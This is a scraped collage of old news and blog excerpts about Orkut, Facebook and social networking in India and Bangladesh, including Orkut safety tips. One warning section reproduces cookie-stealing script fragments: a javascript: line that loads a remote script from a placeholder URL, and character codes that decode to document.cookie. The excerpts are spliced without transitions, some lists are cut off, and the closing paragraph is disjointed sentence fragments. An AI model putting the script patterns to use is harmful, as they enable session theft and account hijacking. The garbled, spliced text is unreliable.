A group called “May his soul rest in peace forever” has been created on facebook that describes the 95-year-old leader who died Sunday as “a classic personality and a true leader” of the nation. Even Orkut was buzz with activity in too many communities that mourned the death of the communist leader saying, “Our great leader and former chief minister of West Bengal is no more.”
Twitter was no less too! Even now tweets paying tribute to the late politician are showing up on the Live Twitter Search. You can visit this link to see it for yourself. There have been over 1000 tweets via which people showed their gratitude to Jyoti Basu ji. Talking about paying tributes, Facebook has a dedicated way using which one can pay tributes to folks who are no more. source: http://www.watblog.com/2010/01/21/social-medias-tribute-to-jyoti-basu/
On the advertising front, we feel that it is still confined to online travel and websites, even though digital advertising is a high performance-low cost way of connecting with the customer. However, we do see a change with advertising becoming an integral part of every company's business strategy. http://www.business-standard.com
Bangladesh lifts YouTube ban imposed after mutiny
Dhaka (AP): Bangladesh has lifted a ban on the video-sharing site YouTube that was imposed because of a recording of a tense meeting between the prime minister and army officials after a bloody mutiny by border guards, an official said on Thursday.
Zia Ahmed, chairman of the Bangladesh Telecommunication Regulatory Commission, said the ban was lifted on Tuesday because tensions had been "diluted" since last month's mutiny left more than 70 people, mostly army officers, dead.
Senior army officers were furious at Prime Minister Sheikh Hasina for negotiating with the mutineers instead of ordering a quick army attack during the Feb. 25-26 revolt, at the Dhaka headquarters of the Bangladesh Rifles, a paramilitary border patrol force commanded by army officers.
Mr. Ahmed earlier said the government decided to block YouTube because the clip threatened national unity and integrity. In the YouTube clip, Ms. Hasina defends her decision to negotiate with the mutineers as army officials shout and jeer, drowning her out and preventing her from speaking. The clip was also posted on blogs and overseas Web sites aimed at Bangladeshis. Some of those sites were also blocked, but Ahmed said he could not comment on whether those bans were also lifted.
I was having some difficulty with my multiple social networks when I remembered a piece I wrote last December ( http://www.blsmartbuy.com/?p=2001) predicting that social networking will lose its cool-ness; that it will become ordinary, like having an e-mail address.
Most of us have multiple e-mail addresses, at least one of which we check daily; and the others at varying frequencies, maybe even once a month. That will likely happen in social networking as well.
I noticed that I was signing up for almost every new social network that a friend invited me to or was already part of: orkut, twitter, facebook, linkedin, myspace, etc.
After every new sign up, I’d be very active for some time, till another one came along. Then, I’d feel guilty about maintaining radio silence and there’d be a flurry of posts/messages, and then it would trail off again… There are a couple that I haven’t logged into since the new year.
I find it very difficult to be part of many social networks at the same time; it is almost like being at different parties at the same time. I recently integrated my tweets into facebook so that I don’t have to update both.
I thought it was just the digital migrants who had this problem; and it seems I was wrong. A digital native friend recently tweeted: “Is wondering how many soc net sites can one seriously be involved with”.
Oh, and a tweet is a short message or status update in twitter.
N. Nagaraj
source: http://www.thehindubusinessline.com/ew/2009/03/02/stories/2009030250030100.htm
DNA - India :
Chandigarh police on Thursday arrested a youth on the charge of posting obscene material, including pictures, on a woman’s profile on Orkut without her knowledge, a police spokesperson said here.
Jatinder Singh Marok, a process executive in tech firm in Mohali, was arrested under section 67 of the Information Technology Act, 2000, after the girl lodged a case against him.
The girl, who is also a resident of Mohali, was getting telephone calls from men after her profile with pornographic photos of some other girl, but carrying her name and phone number, appeared in the profile section of Orkut, police said. The girl then approached the cyber crime cell of the Chandigarh police. Marok was arrested after the police painstakingly collected digital evidence, said the police. The accused is being interrogated
This javascript consists of the profile id and cookie call if you observe the script carefully. In case you ever see a UID=123456722489 and document.cookie in a script then you must remember - never ever run that script.
» Script Uploaded on a Third Party Server
This script consists of a link which is usually a user.js
javascript:increasing_members=document.get(’head’)[0]; a=document.xxxxElement(’script’); a.src=’http://anylink.js’; c.append(a); void(0)
This anylink.js refers to a grease monkey script.The anylink.js is uploaded on an third party sever hence, you don’t know what it’s unless you download it and open in a notepad to see the actual love
» Document.Cookie Encoded - Cookie Stealing Script
This is the most used and deadliest of all cookie stealing script on orkut. Unfortunately, i have seen them circulating in many scrapbooks and communities. In this script, the cookie stealing function is coded hence not easily detectable.
String.fromCharCode(100,111,99,117,109,101,110,116,46,99,111,111,107,105,101)
The numbers shown above when decoded show up = document.cookie . I hope you can guess what they can be used for.
Orkut Help Group has launched a much needed forum for stolen communities. There have been countless cases of stolen communities and this had to come sooner than later. (Hat Tip : Inside Orkut)
» Official Word from OrkutI know it’s frustrating that some people on orkut don’t play nice and try to steal other people’s communities When this happens, please write into the Help Center for individual help.
It takes a lot of time to investigate these cases and attempt to restore communities, so it’s not very efficient to post them here, with only one Guide here to help out! - read more
You may like to inform all your friends about your problem by sending same scrap to all your friends with a single click or prefer sending an e-mail because it will remain a secret and the fake profile owner will not smell any activity.
» Help From Anti-Fake Profile Communities
I Hate Fake Orkut Profiles is one of the orkut community which aim’s at ending fake profiles from orkut. All you need is to :
This post highlights various privacy breaches you can experience and the bad part is, you are unaware of it. I would highly recommend this post since it covers all possible security measures to protect your identity and privacy on orkut. This is a must read for the girls and ladies on orkut since there are all types of people on orkut (1,2). Here are some tips you should seriously follow on orkut.
» Profile with personal info - Available to public, some information can be kept private.
» Photo on the Profile - Available to public » Orkut Albums - Available to Public, Can be Kept Private » Scrapbook : Scraps Your Friends Write for You - Available to Public, Can Be Blocked » Testimonials (from friends) - Read only for public, friends on list can only write.
Even here you cannot control the access to your communities, which is a major drawback. For instance, you are a guy from New Delhi, India. You shall join the community dedicated to it. This shall reveal your information that you stay either near New Delhi and you were in India, even if you have tried to camouflage your information using above steps.
» Your Friend list on Orkut - Available to public
» Communities - Available to Public
» What Orkut Should but does not Offer?
This means your personal data is at risk and can be misused. Phone numbers can be used for cold calls, email accounts can be spammed, photos can be misused, and personal data can be used to create other accounts and so on…
Although Orkut can be fun, it could a place for spammers or hackers or anonymous people to grab your personal details and use against you, you just need to be little careful to avoid your personal data from getting misused.
» Credits and References
Thanks Merinews for the wonderful article. We have updated the article with some important tips
sourcE: http://www.orkutplus.net/2007/03/expert-tips-to-play-safe-on-orkut-must.html
Facebook may be stomping all over MySpace in the English speaking world, but Orkut is still holding its own in Brazil, where it’s the most visited website and it holds the number two spot in India.
The mobile version at http://m.orkut.com has been out since April, but it’s now been specifically tweaked for S60 handsets. Google has also thrown in a range of new features such as photo uploads, picture galleries, click-to-call and quick friend searches too, so you can now make the most of that all-you-can-eat data plan.
It competes pretty much head on with Facebook mobile at http://m.facebook.com and MySpace mobile at http://m.myspace.com/. Is it enough to claw back some ground or has Google missed the boat on this one? source: http://noknok.tv/2008/08/15/google-adds-s60-support-to-orkut/
BANGALORE, INDIA: In recent years, online social networking has created powerful new ways to communicate and share information. Most social network websites provide many ways for users to interact, such as emails and instant messaging services. Social networking websites are being used regularly by millions of people, and it now seems that social networking will be an enduring part of everyday life.
Google's social networking service, Orkut which kicked off as just a 20 percent time project of Orkut Büyükkökten, its creator, has come to be known, as the world's most popular social networking site.
What started in 2004 as a mission to help users connect by building online communities of people who share interests and activities and organize information, today has gone to become one of the biggest social network giants in India. 17.06 percent of Orkut members are Indians, making us the second largest nation on its network.
According to the latest comscore estimates, in India, Orkut has reigned as the most visited social networking site in December 2008 with more than 12.8 million visitors, an increase of 81 percent from the previous year. Orkut has been facing stiff competition from Facebook in the recent past, where it managed to lose its share to the social networking site. But Orkut, which is known to follow one basic mantra of making the user, the owner, and deliver what he demands, managed to turn the table upside down, with its constant innovation and vision.
One of the key reasons for Orkut's success is a belief that good ideas can, and should, come from anywhere, be it the users themselves, and the stress is always on creating something new and innovative. Orkut's future rests on the creativity of their engineers and how they grasp and weave out the products around what the users want and would enjoy working with. In the Orkut universe a user defines and derives his own experience.
The constant feedback and encouragement from the users has enabled innovation and fueled passion at Orkut, to enhance the user's experience and social interaction at every step.
To begin with, Orkut has introduced a number of privacy features, giving users the right to decide on accessibility to individual profiles.
Then came the "Open Social", a set of applications that extended from games to programs to help you invite friends to a particular location that you marked on a map. What's more, 50 percent of these applications were created in Noida, Uttar Pradesh, and Bangalore for Indian users.
With dial-up connections still very slow in India, and the mobile infrastructure limited to 2G, Orkut responded with a low-bandwidth version and a mobile version, which could preserve the experience even at low speeds.
Making web more social
Now users can engage in long personal conversations, discussing their lives, taking advise, sitting miles apart without wasting any ISD charges using various Orkut applications, like Instant Messaging ask friend, where only your choice of users can have an access, exchanging pictures and videos simultaneously, thus adding a real life feel to the whole communication. The privacy features have enhanced the freedom with which users now express and communicate tremendously.
To cater to its Indian members, the site also introduced an application so users could use Indian languages (Hindi, Marathi, Tamil, Telugu, Bengali, Gujarati, to name a few) to manage their accounts.
Over a period of time Orkut once again saw that its audience graph go up three times the size of its nearest competitor in the category. Other social networks like Facebook.com which captured the #2 position with 4 million visitors, up 150 percent versus year ago, followed by local social networking site Bharatstudent.com with 3.3 million visitors (up 88 percent) and hi5.com with 2 million visitors (up 182 percent).
Social Networking sites have seen an increase of 51 percent from the previous year, to more than 19 million visitors in December 2008, as per by comscore estimates.source: http://www.ciol.com/Developer/Feature/Evolution-of-Googles-Orkut/2309116652/0/
(which will live on in the open source wilderness), as well as choking uploads to Google Video and removing support for Google Notebooks. and India. If one were to look at global trends, Orkut comes in 9th place (according to comScore) when it comes to unique visitors. arena (with some help from Google Talk and GrandCentral). of Microsoft likes to call them) developers, developers, developers, developers! and Firefox extensions (with hacks for Google Chrome hopefully along the way). which is Google's version of Wikipedia) I do not see the search engine giant killing off Orkut--at least in the near future. source: http://www.insideorkut.com/ created Google's first official social network. was fairly hard to pronounce (at least to the average American), Google decided to name their new social network after his first name, Orkut instead (at least according to the rumors). and India--and was even given "Google love" on the homepage for a short season.) who spend time improving the site, and for putting up with our constant whining (at least mine). left earlier), this will hopefully make the forum much more useful (as spammers and flamers seem to be targeting Google groups nowadays). and Firefox. (note: there is even an Orkut app for Orkut themes as well). demand for customized Orkut themes), they may want to consider creating an Orkut Theme market where web designers/hackers can apply (and create) free and premium themes for users everywhere.), the fact is that many users may want extra features/designs that Google does not have the time or desire to create.) to hide/remove them.)., Blogger and Movable Type) to see how something similar could play out for Orkut.